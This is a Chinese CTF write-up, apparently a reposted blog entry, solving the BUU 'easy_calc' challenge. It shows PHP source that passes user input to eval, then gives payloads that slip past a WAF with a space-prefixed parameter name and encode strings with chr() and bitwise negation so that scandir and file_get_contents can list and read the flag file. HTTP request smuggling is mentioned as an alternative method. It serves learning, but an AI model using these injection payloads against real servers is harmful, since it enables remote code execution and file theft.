码迷,mamicode.com
首页 > 其他好文 > 详细

buu学习记录(下)(做题是不可能做题的)

时间:2020-02-07 17:11:28      阅读:113      评论:0      收藏:0      [点我收藏+]

标签:请求   height   字符串解析   color   自己的   web   art   链接   http请求   

目录:

(1)easy_calc

 

 

题目解析:

easy_calc

涉及 知识点:

(1)php字符串解析特性绕过WAF

(2)HTTP请求走私攻击

  再贴一个学习链接

(3)取反操作

  ~%D1 == ‘.‘  (46+209=255)  ~$D0 == ‘/‘  (47+208=255)  

  其余ascii码类似。

解析:

进入题目的界面,审计js代码发现有calc.php,抱着好奇的态度进入查看。

发现源码。审计

<?php 
error_reporting(0); 
if(!isset($_GET[‘num‘])){ 
    show_source(__FILE__); 
}else{ 
        $str = $_GET[‘num‘]; 
        $blacklist = [‘ ‘, ‘\t‘, ‘\r‘, ‘\n‘,‘\‘‘, ‘"‘, ‘`‘, ‘\[‘, ‘\]‘,‘\$‘,‘\\‘,‘\^‘]; 
        foreach ($blacklist as $blackitem) { 
                if (preg_match(‘/‘ . $blackitem . ‘/m‘, $str)) { 
                        die("what are you want to do?"); 
                } 
        } 
        eval(‘echo ‘.$str.‘;‘); 
} 
?> 

本来以为过滤已经很明显了。但是其实还有坑,经过多次尝试之后发现num中不能存在字母。

技术图片

感觉像是前端的WAF。

方法一:php字符串解析特性绕过WAF。

上面的链接有详细的解释,我就提一下%20num也会被后端解析为num,但是前端解析不出来,所以可以绕过前端WAF。

尝试构造payload:?%20num=phpinfo()

成功,有phpinfo()回显

技术图片

 

还发现了system()被过滤了,没办法只能用php本身的文件读取函数了。

scandir()函数读取目录。file_get_contents()读取文件。

目标payload:? num=var_dump(scandir(‘.‘))

因为 单引号 被过滤,所以我们采用本身结果就是字符串的 chr()函数 或者 取反操作 来替换

构造payload1:? num=var_dump(scandir(chr(46)))

构造payload2:? num=var_dump(scandir(~%D1))

。。没有flag文件,去根目录下看看。(payload类似)

技术图片    (注意这是1,因为没看出来卡了好久...)

 

 那么读取这个文件应该就行了,payload依旧类似

payload1:? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

payload2:? num=var_dump(file_get_contents(~%D0%99%CE%9E%98%98))

成功获得flag

技术图片

 

 

方法二:HTTP请求走私攻击

老实说,这个方法我还是第一次见,最好去看大佬的解释吧。

我用自己的话解释一下巩固一遍(太菜了,见谅)

CL-CL协议可以,payload和方法一一样。

技术图片

 

buu学习记录(下)(做题是不可能做题的)

标签:请求   height   字符串解析   color   自己的   web   art   链接   http请求   

原文地址:https://www.cnblogs.com/cioi/p/12272928.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!